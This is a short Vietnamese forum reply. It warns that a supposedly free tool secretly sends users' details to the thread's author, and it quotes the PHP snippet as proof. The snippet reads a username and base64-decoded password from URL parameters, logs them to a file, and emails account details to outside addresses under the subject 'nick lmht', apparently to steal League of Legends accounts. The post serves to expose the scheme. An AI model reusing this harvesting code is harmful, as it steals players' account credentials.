Code này làm mọi cho chủ thớt à. Ko có cái bánh ngon nào miễn phí đâu, bỏ tiền mua đi
session_start();
$username = $_GET['username'];
$tocode = $_SESSION['to'];
$password = $_GET['sesID'];
if (empty($username)) {
header("Location:/index.php");
} else {
}
$info = "" . $username . "|" . base64_decode($password) . "
";
$test = fopen($filenick, "a");
fwrite($test, $info);
fclose($test);
$ngu = $_GET["ngu"];
$message = "$username|$tocode";
$from = "From: $username";
$chude = "nick lmht";
mail("
[email protected]", $chude, $message, "lmht");
mail($mailnhannick, $chude, $message, $from);